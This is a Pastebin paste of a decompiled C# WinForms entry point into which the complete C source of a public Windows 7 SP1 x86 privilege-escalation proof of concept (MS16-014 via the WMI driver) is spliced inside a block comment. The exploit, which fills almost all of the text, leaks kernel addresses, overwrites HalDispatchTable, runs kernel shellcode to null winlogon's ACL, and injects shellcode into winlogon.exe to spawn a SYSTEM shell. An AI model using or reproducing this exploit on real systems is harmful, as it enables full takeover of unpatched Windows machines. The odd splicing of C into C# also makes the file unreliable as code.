Advertisement
Guest User

Untitled

a guest
Oct 3rd, 2017
993
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 12.29 KB | None | 0 0
  1. // Decompiled with JetBrains decompiler
  2. // Type: TearORDear.Program
  3. // Assembly: TearORDear, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
  4. // MVID: FAD666A4-4959-43F0-9D38-7FD79F826579
  5. // Assembly location: C:\Users\*******\Desktop\TearORDear.exe
  6.  
  7. using System;
  8. using System.Windows.Forms;
  9.  
  10. namespace TearORDear
  11. {
  12.   internal static class Program
  13.   {
  14.     [STAThread]
  15.     private static void Main()
  16.     {
  17.       Application.EnableVisualStyles();
  18.       Application.SetCompatibleTextRenderingDefault(false);
  19.       Application.Run((Form/*
  20. # Exploit Title: Elevation of privilege on Windows 7 SP1 x86
  21. # Date: 28/06-2016
  22. # Exploit Author: @blomster81
  23. # Vendor Homepage: www.microsoft.com
  24. # Version: Windows 7 SP1 x86
  25. # Tested on: Windows 7 SP1 x86
  26. # CVE : 2016-0400
  27.  
  28. MS16-014 EoP PoC created from
  29. https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
  30. Spawns CMD.exe with SYSTEM rights.
  31. Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point
  32.  
  33. ********* EDB Note *********
  34.  
  35. ntos.h is available here: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40039.zip
  36.  
  37. ***************************
  38.  
  39. */
  40.  
  41. #include "stdafx.h"
  42. #include <Windows.h>
  43. #include <winioctl.h>
  44. #include "ntos.h"
  45. #include <TlHelp32.h>
  46.  
  47.  
  48. typedef union {
  49.     HANDLE Handle;
  50.     ULONG64 Handle64;
  51.     ULONG32 Handle32;
  52. }
  53. HANDLE3264, *PHANDLE3264;
  54.  
  55. typedef struct {
  56.     ULONG HandleCount;
  57.     ULONG Action;
  58.     HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
  59.     HANDLE3264 UserModeProcess;
  60.     HANDLE3264 Handles[20];
  61. }
  62. WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;
  63.  
  64. #define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
  65.  
  66. typedef struct {
  67.     IN VOID * ObjectAttributes;
  68.     IN ACCESS_MASK DesiredAccess;
  69.  
  70.     OUT HANDLE3264 Handle;
  71. }
  72. WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;
  73.  
  74. typedef enum _KPROFILE_SOURCE {
  75.     ProfileTime,
  76.     ProfileAlignmentFixup,
  77.     ProfileTotalIssues,
  78.     ProfilePipelineDry,
  79.     ProfileLoadInstructions,
  80.     ProfilePipelineFrozen,
  81.     ProfileBranchInstructions,
  82.     ProfileTotalNonissues,
  83.     ProfileDcacheMisses,
  84.     ProfileIcacheMisses,
  85.     ProfileCacheMisses,
  86.     ProfileBranchMispredictions,
  87.     ProfileStoreInstructions,
  88.     ProfileFpInstructions,
  89.     ProfileIntegerInstructions,
  90.     Profile2Issue,
  91.     Profile3Issue,
  92.     Profile4Issue,
  93.     ProfileSpecialInstructions,
  94.     ProfileTotalCycles,
  95.     ProfileIcacheIssues,
  96.     ProfileDcacheAccesses,
  97.     ProfileMemoryBarrierCycles,
  98.     ProfileLoadLinkedIssues,
  99.     ProfileMaximum
  100.  
  101. } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
  102.  
  103. typedef struct _DESKTOPINFO
  104. {
  105.     /* 000 */ PVOID        pvDesktopBase;
  106.     /* 008 */ PVOID        pvDesktopLimit;
  107.  
  108. } DESKTOPINFO, *PDESKTOPINFO;
  109.  
  110.  
  111. typedef struct _CLIENTINFO
  112. {
  113.     /* 000 */ DWORD             CI_flags;
  114.     /* 004 */ DWORD             cSpins;
  115.     /* 008 */ DWORD             dwExpWinVer;
  116.     /* 00c */ DWORD             dwCompatFlags;
  117.     /* 010 */ DWORD             dwCompatFlags2;
  118.     /* 014 */ DWORD             dwTIFlags;
  119.     /* 018 */ DWORD             filler1;
  120.     /* 01c */ DWORD             filler2;
  121.     /* 020 */ PDESKTOPINFO      pDeskInfo;
  122.     /* 028 */ ULONG_PTR         ulClientDelta;
  123.  
  124. } CLIENTINFO, *PCLIENTINFO;
  125.  
  126. typedef struct _HANDLEENTRY {
  127.     PVOID  phead;
  128.     ULONG_PTR  pOwner;
  129.     BYTE  bType;
  130.     BYTE  bFlags;
  131.     WORD  wUniq;
  132. }HANDLEENTRY, *PHANDLEENTRY;
  133.  
  134. typedef struct _SERVERINFO {
  135.     DWORD dwSRVIFlags;
  136.     DWORD64 cHandleEntries;
  137.     WORD wSRVIFlags;
  138.     WORD wRIPPID;
  139.     WORD wRIPError;
  140. }SERVERINFO, *PSERVERINFO;
  141.  
  142. typedef struct _SHAREDINFO {
  143.     PSERVERINFO psi;
  144.     PHANDLEENTRY aheList;
  145.     ULONG HeEntrySize;
  146.     ULONG_PTR pDispInfo;
  147.     ULONG_PTR ulSharedDelta;
  148.     ULONG_PTR awmControl;
  149.     ULONG_PTR DefWindowMsgs;
  150.     ULONG_PTR DefWindowSpecMsgs;
  151. }SHAREDINFO, *PSHAREDINFO;
  152.  
  153. #define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
  154.  
  155. typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
  156. typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
  157. typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);
  158.  
  159. DWORD g_HalDispatchTable = 0;
  160. void* kHandle;
  161. HWND g_window = NULL;
  162. const WCHAR g_windowClassName[] = L"Victim_Window";
  163. WNDCLASSEX wc;
  164. PSHAREDINFO g_pSharedInfo;
  165. PSERVERINFO g_pServerInfo;
  166. HANDLEENTRY* g_UserHandleTable;
  167.  
  168. LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  169. {
  170.     return DefWindowProc(hwnd, uMsg, wParam, lParam);
  171. }
  172.  
  173. DWORD getProcessId(wchar_t* str)
  174. {
  175.     HANDLE hProcessSnap;
  176.     PROCESSENTRY32 pe32;
  177.     DWORD PID;
  178.  
  179.     hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  180.     if (hProcessSnap == INVALID_HANDLE_VALUE)
  181.     {
  182.         return 0;
  183.     }
  184.  
  185.     pe32.dwSize = sizeof(PROCESSENTRY32);
  186.     if (!Process32First(hProcessSnap, &pe32))
  187.     {
  188.         CloseHandle(hProcessSnap);
  189.         return 0;
  190.     }
  191.  
  192.     do
  193.     {
  194.         if (!wcscmp(pe32.szExeFile, str))
  195.         {
  196.             wprintf(L"Process: %s found\n", pe32.szExeFile);
  197.             PID = pe32.th32ProcessID;
  198.             return PID;
  199.         }
  200.     } while (Process32Next(hProcessSnap, &pe32));
  201.     return 0;
  202. }
  203.  
  204. void Launch()
  205. {
  206.     void* pMem;
  207.     char shellcode[] =
  208.         "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
  209.         "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  210.         "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
  211.         "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
  212.         "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
  213.         "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
  214.         "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
  215.         "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
  216.         "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
  217.         "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
  218.         "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"
  219.         "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
  220.         "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"
  221.         "\x65\x78\x65\x00";
  222.  
  223.     wchar_t* str = L"winlogon.exe";
  224.     DWORD PID = getProcessId(str);
  225.     HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
  226.     pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  227.     DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);
  228.     HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
  229. }
  230.  
  231. BOOL leakHal()
  232. {
  233.     _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
  234.     PRTL_PROCESS_MODULES pModuleInfo;
  235.     DWORD ntoskrnlBase;
  236.     DWORD HalDTUser, HalDTOffset;
  237.     HMODULE userKernel;
  238.  
  239.     pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  240.     if (pModuleInfo == NULL)
  241.     {
  242.         printf("Could not allocate memory\n");
  243.         return FALSE;
  244.     }
  245.     NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);
  246.     ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
  247.     userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
  248.     if (userKernel == NULL)
  249.     {
  250.         printf("Could not load ntoskrnl.exe\n");
  251.         return FALSE;
  252.     }
  253.  
  254.     HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");
  255.     HalDTOffset = HalDTUser - (DWORD)userKernel;
  256.     g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;
  257.     return TRUE;
  258. }
  259.  
  260. BOOL setup()
  261. {
  262.     LoadLibraryA("user32.dll");
  263.  
  264.     wc.cbSize = sizeof(WNDCLASSEX);
  265.     wc.style = 0;
  266.     wc.lpfnWndProc = WProc;
  267.     wc.cbClsExtra = 0;
  268.     wc.cbWndExtra = 0;
  269.     wc.hInstance = NULL;
  270.     wc.hCursor = NULL;
  271.     wc.hIcon = NULL;
  272.     wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
  273.     wc.lpszMenuName = NULL;
  274.     wc.lpszClassName = g_windowClassName;
  275.     wc.hIconSm = NULL;
  276.  
  277.     if (!RegisterClassEx(&wc))
  278.     {
  279.         printf("Failed to register window: %d\n", GetLastError());
  280.         return FALSE;
  281.     }
  282.     g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
  283.     if (g_window == NULL)
  284.     {
  285.         printf("Failed to create window: %d\n", GetLastError());
  286.         return FALSE;
  287.     }
  288.  
  289.     g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
  290.     g_UserHandleTable = g_pSharedInfo->aheList;
  291.     g_pServerInfo = g_pSharedInfo->psi;
  292.  
  293.     return TRUE;
  294. }
  295.  
  296. DWORD leakWndAddr(HWND hwnd)
  297. {
  298.     DWORD addr = 0;
  299.     HWND kernelHandle = NULL;
  300.  
  301.     for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)
  302.     {
  303.         kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));
  304.         if (kernelHandle == hwnd)
  305.         {
  306.             addr = (DWORD)g_UserHandleTable[i].phead;
  307.             break;
  308.         }
  309.     }
  310.     return addr;
  311. }
  312.  
  313. VOID SprayKernelStack() {
  314.     g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
  315.     if (ZwMapUserPhysicalPages == NULL)
  316.     {
  317.         printf("Could not get ZwMapUserPhysicalPages\n");
  318.         return;
  319.     }
  320.     BYTE buffer[4096];
  321.     DWORD value = g_HalDispatchTable - 0x3C + 0x4;
  322.     for (int i = 0; i < sizeof(buffer) / 4; i++)
  323.     {
  324.         memcpy(buffer + i * 4, &value, sizeof(DWORD));
  325.     }
  326.     printf("Where is at: 0x%x\n", buffer);
  327.     ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
  328. }
  329.  
  330. __declspec(noinline) int Shellcode()
  331. {
  332.     __asm {
  333.         mov eax, kHandle // WND - Which window? Check this
  334.         mov eax, [eax + 8] // THREADINFO
  335.         mov eax, [eax] // ETHREAD
  336.         mov eax, [eax + 0x150] // KPROCESS
  337.         mov eax, [eax + 0xb8] // flink
  338.         procloop:
  339.         lea edx, [eax - 0xb8] // KPROCESS
  340.         mov eax, [eax]
  341.         add edx, 0x16c // module name
  342.         cmp dword ptr[edx], 0x6c6e6977 // ?winl? for winlogon.exe
  343.         jne procloop
  344.         sub edx, 0x170
  345.         mov dword ptr[edx], 0x0 // NULL ACL
  346.         ret
  347.     }
  348. }
  349.  
  350. int main() {
  351.     DWORD dwBytesReturned;
  352.     HANDLE threadhandle;
  353.     WMIRECEIVENOTIFICATION buffer;
  354.     CHAR OutPut[1000];
  355.  
  356.     if (!setup())
  357.     {
  358.         printf("Could not setup window\n");
  359.         return 0;
  360.     }
  361.  
  362.  
  363.     PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  364.     kHandle = (void*)leakWndAddr(g_window);
  365.     memset(userSC, 0x41, 0x1000);
  366.     memcpy(userSC, Shellcode, 0x40);
  367.  
  368.  
  369.     if (!leakHal())
  370.     {
  371.         printf("Could not leak Hal\n");
  372.         return 0;
  373.     }
  374.     printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);
  375.  
  376.     DWORD value = (DWORD)userSC;
  377.     PBYTE buff = (PBYTE)&buffer;
  378.     for (int i = 0; i < sizeof(buffer) / 4; i++)
  379.     {
  380.         memcpy(buff + i * 4, &value, sizeof(DWORD));
  381.     }
  382.     printf("What is at: 0x%x\n", buff);
  383.  
  384.     buffer.HandleCount = 0;
  385.     buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
  386.     buffer.UserModeProcess.Handle = GetCurrentProcess();
  387.  
  388.     HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  389.     if (hDriver != INVALID_HANDLE_VALUE) {
  390.         SprayKernelStack();
  391.  
  392.         if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
  393.             return 1;
  394.         }
  395.  
  396.     }
  397.     _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
  398.     ULONG result;
  399.     KPROFILE_SOURCE stProfile = ProfileTotalIssues;
  400.     NtQueryIntervalProfile(stProfile, &result);
  401.     printf("SYSTEM shell comming\n");
  402.     Launch();
  403.     printf("All done, exiting\n");
  404.  
  405.     return 0;
  406. }
  407. ) new LoginForm());
  408.     }
  409.   }
  410. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement